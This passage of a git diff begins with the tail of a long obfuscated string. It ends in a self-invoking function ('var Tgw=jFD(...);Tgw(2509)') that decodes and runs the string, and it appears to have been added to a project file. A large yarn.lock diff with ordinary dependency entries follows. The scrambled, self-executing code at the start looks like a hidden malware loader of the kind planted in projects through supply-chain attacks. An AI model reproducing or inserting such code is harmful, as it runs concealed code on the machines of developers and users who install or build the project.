Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/yarn.lock b/yarn.lock index 829d11ca8..a78543749 100644 --- a/yarn.lock +++ b/yarn.lock @@ -1,5424 +1,5379 @@ -# This file is generated by running "yarn install" inside your project. -# Manual changes might be lost - proceed with caution! - -__metadata: - version: 8 - cacheKey: 10c0 - -"@ant-design/colors@npm:8.0.1, @ant-design/colors@npm:^8.0.0": - version: 8.0.1 - resolution: "@ant-design/colors@npm:8.0.1" - dependencies: - "@ant-design/fast-color": "npm:^3.0.0" - checksum: 10c0/6108c2204ce98dbf68682fcd04c3cba087f5316f01c6a28928eb8d7b291c23b6a5fcc9cd74af6211f7984d3ccc7e26be16ec664a9380737b46ee24fc78222e30 - languageName: node - linkType: hard - -"@ant-design/fast-color@npm:^3.0.0": - version: 3.0.1 - resolution: "@ant-design/fast-color@npm:3.0.1" - checksum: 10c0/bc6535351f855b1af777b9d18c5b5ca7eeb8769c1dc9cd8579408ed5284e4d6dd2d9cd192ff8110dc7a82e9dc9bc2e5c51ceeff3237c88c5464aca0e4d70eb9a - languageName: node - linkType: hard - -"@ant-design/icons-svg@npm:^4.4.0": - version: 4.4.2 - resolution: "@ant-design/icons-svg@npm:4.4.2" - checksum: 10c0/d08f051824599850efcd691a67b0ee602ee886f23fe04e77890b083a0343cde72560317e3909fd029f999df00aef7b57142c863326fff7293251d9162828079b - languageName: node - linkType: hard - -"@ant-design/icons@npm:6.1.0": - version: 6.1.0 - resolution: "@ant-design/icons@npm:6.1.0" - dependencies: - "@ant-design/colors": "npm:^8.0.0" - "@ant-design/icons-svg": "npm:^4.4.0" - "@rc-component/util": "npm:^1.3.0" - clsx: "npm:^2.1.1" - peerDependencies: - react: ">=16.0.0" - react-dom: ">=16.0.0" - checksum: 10c0/d2fc94a348e18fcc37507dd7febbd179770dea9e8dbedecb362a4d9d0c1a503ed628f2973067b14dc8882d3c25b7c9c979753dea18faef5d20b7d2021d468315 - languageName: node - linkType: hard - -"@babel/code-frame@npm:^7.0.0, @babel/code-frame@npm:^7.28.6, @babel/code-frame@npm:^7.29.0": - version: 7.29.0 - resolution: "@babel/code-frame@npm:7.29.0" - dependencies: - "@babel/helper-validator-identifier": "npm:^7.28.5" - js-tokens: "npm:^4.0.0" - picocolors: "npm:^1.1.1" - checksum: 10c0/d34cc504e7765dfb576a663d97067afb614525806b5cad1a5cc1a7183b916fec8ff57fa233585e3926fd5a9e6b31aae6df91aa81ae9775fb7a28f658d3346f0d - languageName: node - linkType: hard - -"@babel/compat-data@npm:^7.28.6": - version: 7.29.0 - resolution: "@babel/compat-data@npm:7.29.0" - checksum: 10c0/08f348554989d23aa801bf1405aa34b15e841c0d52d79da7e524285c77a5f9d298e70e11d91cc578d8e2c9542efc586d50c5f5cf8e1915b254a9dcf786913a94 - languageName: node - linkType: hard - -"@babel/core@npm:^7.24.4, @babel/core@npm:^7.29.0": - version: 7.29.0 - resolution: "@babel/core@npm:7.29.0" - dependencies: - "@babel/code-frame": "npm:^7.29.0" - "@babel/generator": "npm:^7.29.0" - "@babel/helper-compilation-targets": "npm:^7.28.6" - "@babel/helper-module-transforms": "npm:^7.28.6" - "@babel/helpers": "npm:^7.28.6" - "@babel/parser": "npm:^7.29.0" - "@babel/template": "npm:^7.28.6" - "@babel/traverse": "npm:^7.29.0" - "@babel/types": "npm:^7.29.0" - "@jridgewell/remapping": "npm:^2.3.5" - convert-source-map: "npm:^2.0.0" - debug: "npm:^4.1.0" - gensync: "npm:^1.0.0-beta.2" - json5: "npm:^2.2.3" - semver: "npm:^6.3.1" - checksum: 10c0/5127d2e8e842ae409e11bcbb5c2dff9874abf5415e8026925af7308e903f4f43397341467a130490d1a39884f461bc2b67f3063bce0be44340db89687fd852aa - languageName: node - linkType: hard - -"@babel/generator@npm:^7.29.0": - version: 7.29.1 - resolution: "@babel/generator@npm:7.29.1" - dependencies: - "@babel/parser": "npm:^7.29.0" - "@babel/types": "npm:^7.29.0" - "@jridgewell/gen-mapping": "npm:^0.3.12" - "@jridgewell/trace-mapping": "npm:^0.3.28" - jsesc: "npm:^3.0.2" - checksum: 10c0/349086e6876258ef3fb2823030fee0f6c0eb9c3ebe35fc572e16997f8c030d765f636ddc6299edae63e760ea6658f8ee9a2edfa6d6b24c9a80c917916b973551 - languageName: node - linkType: hard - -"@babel/helper-compilation-targets@npm:^7.28.6": - version: 7.28.6 - resolution: "@babel/helper-compilation-targets@npm:7.28.6" - dependencies: - "@babel/compat-data": "npm:^7.28.6" - "@babel/helper-validator-option": "npm:^7.27.1" - browserslist: "npm:^4.24.0" - lru-cache: "npm:^5.1.1" - semver: "npm:^6.3.1" - checksum: 10c0/3fcdf3b1b857a1578e99d20508859dbd3f22f3c87b8a0f3dc540627b4be539bae7f6e61e49d931542fe5b557545347272bbdacd7f58a5c77025a18b745593a50 - languageName: node - linkType: hard - -"@babel/helper-globals@npm:^7.28.0": - version: 7.28.0 - resolution: "@babel/helper-globals@npm:7.28.0" - checksum: 10c0/5a0cd0c0e8c764b5f27f2095e4243e8af6fa145daea2b41b53c0c1414fe6ff139e3640f4e2207ae2b3d2153a1abd346f901c26c290ee7cb3881dd922d4ee9232 - languageName: node - linkType: hard - -"@babel/helper-module-imports@npm:^7.16.7, @babel/helper-module-imports@npm:^7.28.6": - version: 7.28.6 - resolution: "@babel/helper-module-imports@npm:7.28.6" - dependencies: - "@babel/traverse": "npm:^7.28.6" - "@babel/types": "npm:^7.28.6" - checksum: 10c0/b49d8d8f204d9dbfd5ac70c54e533e5269afb3cea966a9d976722b13e9922cc773a653405f53c89acb247d5aebdae4681d631a3ae3df77ec046b58da76eda2ac - languageName: node - linkType: hard - -"@babel/helper-module-transforms@npm:^7.28.6": - version: 7.28.6 - resolution: "@babel/helper-module-transforms@npm:7.28.6" - dependencies: - "@babel/helper-module-imports": "npm:^7.28.6" - "@babel/helper-validator-identifier": "npm:^7.28.5" - "@babel/traverse": "npm:^7.28.6" - peerDependencies: - "@babel/core": ^7.0.0 - checksum: 10c0/6f03e14fc30b287ce0b839474b5f271e72837d0cafe6b172d759184d998fbee3903a035e81e07c2c596449e504f453463d58baa65b6f40a37ded5bec74620b2b - languageName: node - linkType: hard - -"@babel/helper-plugin-utils@npm:^7.27.1": - version: 7.28.6 - resolution: "@babel/helper-plugin-utils@npm:7.28.6" - checksum: 10c0/3f5f8acc152fdbb69a84b8624145ff4f9b9f6e776cb989f9f968f8606eb7185c5c3cfcf3ba08534e37e1e0e1c118ac67080610333f56baa4f7376c99b5f1143d - languageName: node - linkType: hard - -"@babel/helper-string-parser@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/helper-string-parser@npm:7.27.1" - checksum: 10c0/8bda3448e07b5583727c103560bcf9c4c24b3c1051a4c516d4050ef69df37bb9a4734a585fe12725b8c2763de0a265aa1e909b485a4e3270b7cfd3e4dbe4b602 - languageName: node - linkType: hard - -"@babel/helper-validator-identifier@npm:^7.28.5": - version: 7.28.5 - resolution: "@babel/helper-validator-identifier@npm:7.28.5" - checksum: 10c0/42aaebed91f739a41f3d80b72752d1f95fd7c72394e8e4bd7cdd88817e0774d80a432451bcba17c2c642c257c483bf1d409dd4548883429ea9493a3bc4ab0847 - languageName: node - linkType: hard - -"@babel/helper-validator-option@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/helper-validator-option@npm:7.27.1" - checksum: 10c0/6fec5f006eba40001a20f26b1ef5dbbda377b7b68c8ad518c05baa9af3f396e780bdfded24c4eef95d14bb7b8fd56192a6ed38d5d439b97d10efc5f1a191d148 - languageName: node - linkType: hard - -"@babel/helpers@npm:^7.28.6": - version: 7.28.6 - resolution: "@babel/helpers@npm:7.28.6" - dependencies: - "@babel/template": "npm:^7.28.6" - "@babel/types": "npm:^7.28.6" - checksum: 10c0/c4a779c66396bb0cf619402d92f1610601ff3832db2d3b86b9c9dd10983bf79502270e97ac6d5280cea1b1a37de2f06ecbac561bd2271545270407fbe64027cb - languageName: node - linkType: hard - -"@babel/parser@npm:^7.1.0, @babel/parser@npm:^7.20.7, @babel/parser@npm:^7.24.4, @babel/parser@npm:^7.28.6, @babel/parser@npm:^7.29.0": - version: 7.29.0 - resolution: "@babel/parser@npm:7.29.0" - dependencies: - "@babel/types": "npm:^7.29.0" - bin: - parser: ./bin/babel-parser.js - checksum: 10c0/333b2aa761264b91577a74bee86141ef733f9f9f6d4fc52548e4847dc35dfbf821f58c46832c637bfa761a6d9909d6a68f7d1ed59e17e4ffbb958dc510c17b62 - languageName: node - linkType: hard - -"@babel/plugin-transform-react-jsx-self@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-react-jsx-self@npm:7.27.1" - dependencies: - "@babel/helper-plugin-utils": "npm:^7.27.1" - peerDependencies: - "@babel/core": ^7.0.0-0 - checksum: 10c0/00a4f917b70a608f9aca2fb39aabe04a60aa33165a7e0105fd44b3a8531630eb85bf5572e9f242f51e6ad2fa38c2e7e780902176c863556c58b5ba6f6e164031 - languageName: node - linkType: hard - -"@babel/plugin-transform-react-jsx-source@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-react-jsx-source@npm:7.27.1" - dependencies: - "@babel/helper-plugin-utils": "npm:^7.27.1" - peerDependencies: - "@babel/core": ^7.0.0-0 - checksum: 10c0/5e67b56c39c4d03e59e03ba80692b24c5a921472079b63af711b1d250fc37c1733a17069b63537f750f3e937ec44a42b1ee6a46cd23b1a0df5163b17f741f7f2 - languageName: node - linkType: hard - -"@babel/runtime@npm:^7.12.5, @babel/runtime@npm:^7.18.3, @babel/runtime@npm:^7.26.0, @babel/runtime@npm:^7.28.4, @babel/runtime@npm:^7.28.6, @babel/runtime@npm:^7.5.5, @babel/runtime@npm:^7.8.7": - version: 7.28.6 - resolution: "@babel/runtime@npm:7.28.6" - checksum: 10c0/358cf2429992ac1c466df1a21c1601d595c46930a13c1d4662fde908d44ee78ec3c183aaff513ecb01ef8c55c3624afe0309eeeb34715672dbfadb7feedb2c0d - languageName: node - linkType: hard - -"@babel/template@npm:^7.28.6": - version: 7.28.6 - resolution: "@babel/template@npm:7.28.6" - dependencies: - "@babel/code-frame": "npm:^7.28.6" - "@babel/parser": "npm:^7.28.6" - "@babel/types": "npm:^7.28.6" - checksum: 10c0/66d87225ed0bc77f888181ae2d97845021838c619944877f7c4398c6748bcf611f216dfd6be74d39016af502bca876e6ce6873db3c49e4ac354c56d34d57e9f5 - languageName: node - linkType: hard - -"@babel/traverse@npm:^7.28.6, @babel/traverse@npm:^7.29.0": - version: 7.29.0 - resolution: "@babel/traverse@npm:7.29.0" - dependencies: - "@babel/code-frame": "npm:^7.29.0" - "@babel/generator": "npm:^7.29.0" - "@babel/helper-globals": "npm:^7.28.0" - "@babel/parser": "npm:^7.29.0" - "@babel/template": "npm:^7.28.6" - "@babel/types": "npm:^7.29.0" - debug: "npm:^4.3.1" - checksum: 10c0/f63ef6e58d02a9fbf3c0e2e5f1c877da3e0bc57f91a19d2223d53e356a76859cbaf51171c9211c71816d94a0e69efa2732fd27ffc0e1bbc84b636e60932333eb - languageName: node - linkType: hard - -"@babel/types@npm:^7.0.0, @babel/types@npm:^7.20.7, @babel/types@npm:^7.28.2, @babel/types@npm:^7.28.6, @babel/types@npm:^7.29.0": - version: 7.29.0 - resolution: "@babel/types@npm:7.29.0" - dependencies: - "@babel/helper-string-parser": "npm:^7.27.1" - "@babel/helper-validator-identifier": "npm:^7.28.5" - checksum: 10c0/23cc3466e83bcbfab8b9bd0edaafdb5d4efdb88b82b3be6728bbade5ba2f0996f84f63b1c5f7a8c0d67efded28300898a5f930b171bb40b311bca2029c4e9b4f - languageName: node - linkType: hard - -"@cush/relative@npm:^1.0.0": - version: 1.0.0 - resolution: "@cush/relative@npm:1.0.0" - checksum: 10c0/8c91a1c9875c9a4f8b5e7baf93625fc1381c7964508c8df99ea9e731bd46a148ce6df4934d0c69fbb16188a65ddc263a65b97e62a7e58119a1a805fa309e579d - languageName: node - linkType: hard - -"@emotion/babel-plugin@npm:^11.13.5": - version: 11.13.5 - resolution: "@emotion/babel-plugin@npm:11.13.5" - dependencies: - "@babel/helper-module-imports": "npm:^7.16.7" - "@babel/runtime": "npm:^7.18.3" - "@emotion/hash": "npm:^0.9.2" - "@emotion/memoize": "npm:^0.9.0" - "@emotion/serialize": "npm:^1.3.3" - babel-plugin-macros: "npm:^3.1.0" - convert-source-map: "npm:^1.5.0" - escape-string-regexp: "npm:^4.0.0" - find-root: "npm:^1.1.0" - source-map: "npm:^0.5.7" - stylis: "npm:4.2.0" - checksum: 10c0/8ccbfec7defd0e513cb8a1568fa179eac1e20c35fda18aed767f6c59ea7314363ebf2de3e9d2df66c8ad78928dc3dceeded84e6fa8059087cae5c280090aeeeb - languageName: node - linkType: hard - -"@emotion/cache@npm:11.14.0, @emotion/cache@npm:^11.14.0": - version: 11.14.0 - resolution: "@emotion/cache@npm:11.14.0" - dependencies: - "@emotion/memoize": "npm:^0.9.0" - "@emotion/sheet": "npm:^1.4.0" - "@emotion/utils": "npm:^1.4.2" - "@emotion/weak-memoize": "npm:^0.4.0" - stylis: "npm:4.2.0" - checksum: 10c0/3fa3e7a431ab6f8a47c67132a00ac8358f428c1b6c8421d4b20de9df7c18e95eec04a5a6ff5a68908f98d3280044f247b4965ac63df8302d2c94dba718769724 - languageName: node - linkType: hard - -"@emotion/hash@npm:^0.9.2": - version: 0.9.2 - resolution: "@emotion/hash@npm:0.9.2" - checksum: 10c0/0dc254561a3cc0a06a10bbce7f6a997883fd240c8c1928b93713f803a2e9153a257a488537012efe89dbe1246f2abfe2add62cdb3471a13d67137fcb808e81c2 - languageName: node - linkType: hard - -"@emotion/is-prop-valid@npm:^1.3.0": - version: 1.4.0 - resolution: "@emotion/is-prop-valid@npm:1.4.0" - dependencies: - "@emotion/memoize": "npm:^0.9.0" - checksum: 10c0/5f857814ec7d8c7e727727346dfb001af6b1fb31d621a3ce9c3edf944a484d8b0d619546c30899ae3ade2f317c76390ba4394449728e9bf628312defc2c41ac3 - languageName: node - linkType: hard - -"@emotion/memoize@npm:^0.9.0": - version: 0.9.0 - resolution: "@emotion/memoize@npm:0.9.0" - checksum: 10c0/13f474a9201c7f88b543e6ea42f55c04fb2fdc05e6c5a3108aced2f7e7aa7eda7794c56bba02985a46d8aaa914fcdde238727a98341a96e2aec750d372dadd15 - languageName: node - linkType: hard - -"@emotion/react@npm:11.14.0": - version: 11.14.0 - resolution: "@emotion/react@npm:11.14.0" - dependencies: - "@babel/runtime": "npm:^7.18.3" - "@emotion/babel-plugin": "npm:^11.13.5" - "@emotion/cache": "npm:^11.14.0" - "@emotion/serialize": "npm:^1.3.3" - "@emotion/use-insertion-effect-with-fallbacks": "npm:^1.2.0" - "@emotion/utils": "npm:^1.4.2" - "@emotion/weak-memoize": "npm:^0.4.0" - hoist-non-react-statics: "npm:^3.3.1" - peerDependencies: - react: ">=16.8.0" - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/d0864f571a9f99ec643420ef31fde09e2006d3943a6aba079980e4d5f6e9f9fecbcc54b8f617fe003c00092ff9d5241179149ffff2810cb05cf72b4620cfc031 - languageName: node - linkType: hard - -"@emotion/serialize@npm:^1.3.3": - version: 1.3.3 - resolution: "@emotion/serialize@npm:1.3.3" - dependencies: - "@emotion/hash": "npm:^0.9.2" - "@emotion/memoize": "npm:^0.9.0" - "@emotion/unitless": "npm:^0.10.0" - "@emotion/utils": "npm:^1.4.2" - csstype: "npm:^3.0.2" - checksum: 10c0/b28cb7de59de382021de2b26c0c94ebbfb16967a1b969a56fdb6408465a8993df243bfbd66430badaa6800e1834724e84895f5a6a9d97d0d224de3d77852acb4 - languageName: node - linkType: hard - -"@emotion/sheet@npm:^1.4.0": - version: 1.4.0 - resolution: "@emotion/sheet@npm:1.4.0" - checksum: 10c0/3ca72d1650a07d2fbb7e382761b130b4a887dcd04e6574b2d51ce578791240150d7072a9bcb4161933abbcd1e38b243a6fb4464a7fe991d700c17aa66bb5acc7 - languageName: node - linkType: hard - -"@emotion/styled@npm:11.14.1": - version: 11.14.1 - resolution: "@emotion/styled@npm:11.14.1" - dependencies: - "@babel/runtime": "npm:^7.18.3" - "@emotion/babel-plugin": "npm:^11.13.5" - "@emotion/is-prop-valid": "npm:^1.3.0" - "@emotion/serialize": "npm:^1.3.3" - "@emotion/use-insertion-effect-with-fallbacks": "npm:^1.2.0" - "@emotion/utils": "npm:^1.4.2" - peerDependencies: - "@emotion/react": ^11.0.0-rc.0 - react: ">=16.8.0" - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/2bbf8451df49c967e41fbcf8111a7f6dafe6757f0cc113f2f6e287206c45ac1d54dc8a95a483b7c0cee8614b8a8d08155bded6453d6721de1f8cc8d5b9216963 - languageName: node - linkType: hard - -"@emotion/unitless@npm:^0.10.0": - version: 0.10.0 - resolution: "@emotion/unitless@npm:0.10.0" - checksum: 10c0/150943192727b7650eb9a6851a98034ddb58a8b6958b37546080f794696141c3760966ac695ab9af97efe10178690987aee4791f9f0ad1ff76783cdca83c1d49 - languageName: node - linkType: hard - -"@emotion/use-insertion-effect-with-fallbacks@npm:^1.2.0": - version: 1.2.0 - resolution: "@emotion/use-insertion-effect-with-fallbacks@npm:1.2.0" - peerDependencies: - react: ">=16.8.0" - checksum: 10c0/074dbc92b96bdc09209871070076e3b0351b6b47efefa849a7d9c37ab142130767609ca1831da0055988974e3b895c1de7606e4c421fecaa27c3e56a2afd3b08 - languageName: node - linkType: hard - -"@emotion/utils@npm:^1.4.2": - version: 1.4.2 - resolution: "@emotion/utils@npm:1.4.2" - checksum: 10c0/7d0010bf60a2a8c1a033b6431469de4c80e47aeb8fd856a17c1d1f76bbc3a03161a34aeaa78803566e29681ca551e7bf9994b68e9c5f5c796159923e44f78d9a - languageName: node - linkType: hard - -"@emotion/weak-memoize@npm:^0.4.0": - version: 0.4.0 - resolution: "@emotion/weak-memoize@npm:0.4.0" - checksum: 10c0/64376af11f1266042d03b3305c30b7502e6084868e33327e944b539091a472f089db307af69240f7188f8bc6b319276fd7b141a36613f1160d73d12a60f6ca1a - languageName: node - linkType: hard - -"@esbuild/aix-ppc64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/aix-ppc64@npm:0.27.3" - conditions: os=aix & cpu=ppc64 - languageName: node - linkType: hard - -"@esbuild/android-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/android-arm64@npm:0.27.3" - conditions: os=android & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/android-arm@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/android-arm@npm:0.27.3" - conditions: os=android & cpu=arm - languageName: node - linkType: hard - -"@esbuild/android-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/android-x64@npm:0.27.3" - conditions: os=android & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/darwin-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/darwin-arm64@npm:0.27.3" - conditions: os=darwin & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/darwin-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/darwin-x64@npm:0.27.3" - conditions: os=darwin & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/freebsd-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/freebsd-arm64@npm:0.27.3" - conditions: os=freebsd & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/freebsd-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/freebsd-x64@npm:0.27.3" - conditions: os=freebsd & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/linux-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-arm64@npm:0.27.3" - conditions: os=linux & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/linux-arm@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-arm@npm:0.27.3" - conditions: os=linux & cpu=arm - languageName: node - linkType: hard - -"@esbuild/linux-ia32@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-ia32@npm:0.27.3" - conditions: os=linux & cpu=ia32 - languageName: node - linkType: hard - -"@esbuild/linux-loong64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-loong64@npm:0.27.3" - conditions: os=linux & cpu=loong64 - languageName: node - linkType: hard - -"@esbuild/linux-mips64el@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-mips64el@npm:0.27.3" - conditions: os=linux & cpu=mips64el - languageName: node - linkType: hard - -"@esbuild/linux-ppc64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-ppc64@npm:0.27.3" - conditions: os=linux & cpu=ppc64 - languageName: node - linkType: hard - -"@esbuild/linux-riscv64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-riscv64@npm:0.27.3" - conditions: os=linux & cpu=riscv64 - languageName: node - linkType: hard - -"@esbuild/linux-s390x@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-s390x@npm:0.27.3" - conditions: os=linux & cpu=s390x - languageName: node - linkType: hard - -"@esbuild/linux-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/linux-x64@npm:0.27.3" - conditions: os=linux & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/netbsd-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/netbsd-arm64@npm:0.27.3" - conditions: os=netbsd & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/netbsd-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/netbsd-x64@npm:0.27.3" - conditions: os=netbsd & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/openbsd-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/openbsd-arm64@npm:0.27.3" - conditions: os=openbsd & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/openbsd-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/openbsd-x64@npm:0.27.3" - conditions: os=openbsd & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/openharmony-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/openharmony-arm64@npm:0.27.3" - conditions: os=openharmony & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/sunos-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/sunos-x64@npm:0.27.3" - conditions: os=sunos & cpu=x64 - languageName: node - linkType: hard - -"@esbuild/win32-arm64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/win32-arm64@npm:0.27.3" - conditions: os=win32 & cpu=arm64 - languageName: node - linkType: hard - -"@esbuild/win32-ia32@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/win32-ia32@npm:0.27.3" - conditions: os=win32 & cpu=ia32 - languageName: node - linkType: hard - -"@esbuild/win32-x64@npm:0.27.3": - version: 0.27.3 - resolution: "@esbuild/win32-x64@npm:0.27.3" - conditions: os=win32 & cpu=x64 - languageName: node - linkType: hard - -"@eslint-community/eslint-utils@npm:^4.8.0": - version: 4.9.1 - resolution: "@eslint-community/eslint-utils@npm:4.9.1" - dependencies: - eslint-visitor-keys: "npm:^3.4.3" - peerDependencies: - eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 - checksum: 10c0/dc4ab5e3e364ef27e33666b11f4b86e1a6c1d7cbf16f0c6ff87b1619b3562335e9201a3d6ce806221887ff780ec9d828962a290bb910759fd40a674686503f02 - languageName: node - linkType: hard - -"@eslint-community/regexpp@npm:^4.12.2": - version: 4.12.2 - resolution: "@eslint-community/regexpp@npm:4.12.2" - checksum: 10c0/fddcbc66851b308478d04e302a4d771d6917a0b3740dc351513c0da9ca2eab8a1adf99f5e0aa7ab8b13fa0df005c81adeee7e63a92f3effd7d367a163b721c2d - languageName: node - linkType: hard - -"@eslint/compat@npm:2.0.2": - version: 2.0.2 - resolution: "@eslint/compat@npm:2.0.2" - dependencies: - "@eslint/core": "npm:^1.1.0" - peerDependencies: - eslint: ^8.40 || 9 || 10 - peerDependenciesMeta: - eslint: - optional: true - checksum: 10c0/176df611bcb54ff7d9c3ac440df6844e552a4ed5de30eba28edbeebb68ccc7f19111fdd4c10780101ee5f871bd03ec0457f38c67834c285751c2bdb37d8ae73c - languageName: node - linkType: hard - -"@eslint/config-array@npm:^0.23.0": - version: 0.23.2 - resolution: "@eslint/config-array@npm:0.23.2" - dependencies: - "@eslint/object-schema": "npm:^3.0.2" - debug: "npm:^4.3.1" - minimatch: "npm:^10.2.1" - checksum: 10c0/95d7506c3fcb13c9a477f0fd501d552a4f136425fdf41a57058565d4730d888c78a467f8cefee92c7ac911b2c9da72629cb90507bc943cb2e5ae7bcdcdd2b759 - languageName: node - linkType: hard - -"@eslint/config-helpers@npm:^0.5.2": - version: 0.5.2 - resolution: "@eslint/config-helpers@npm:0.5.2" - dependencies: - "@eslint/core": "npm:^1.1.0" - checksum: 10c0/0dc65bc5dd80441afbf5007cae702a5d9dd08893e95fed702a463366cf9ce2f4fd90adb09f9012cb4fcc9783d897ccb739067b1b8a5942f4c8288a6efb396d58 - languageName: node - linkType: hard - -"@eslint/core@npm:^1.1.0": - version: 1.1.0 - resolution: "@eslint/core@npm:1.1.0" - dependencies: - "@types/json-schema": "npm:^7.0.15" - checksum: 10c0/0f875d6f24fbf67cc796e01c2ca82884f755488052ed84183e56377c5b90fe10b491a26e600642db4daea1d5d8ab7906ec12f2bd5cbdb5004b0ef73c802bdb57 - languageName: node - linkType: hard - -"@eslint/eslintrc@npm:3.3.3": - version: 3.3.3 - resolution: "@eslint/eslintrc@npm:3.3.3" - dependencies: - ajv: "npm:^6.12.4" - debug: "npm:^4.3.2" - espree: "npm:^10.0.1" - globals: "npm:^14.0.0" - ignore: "npm:^5.2.0" - import-fresh: 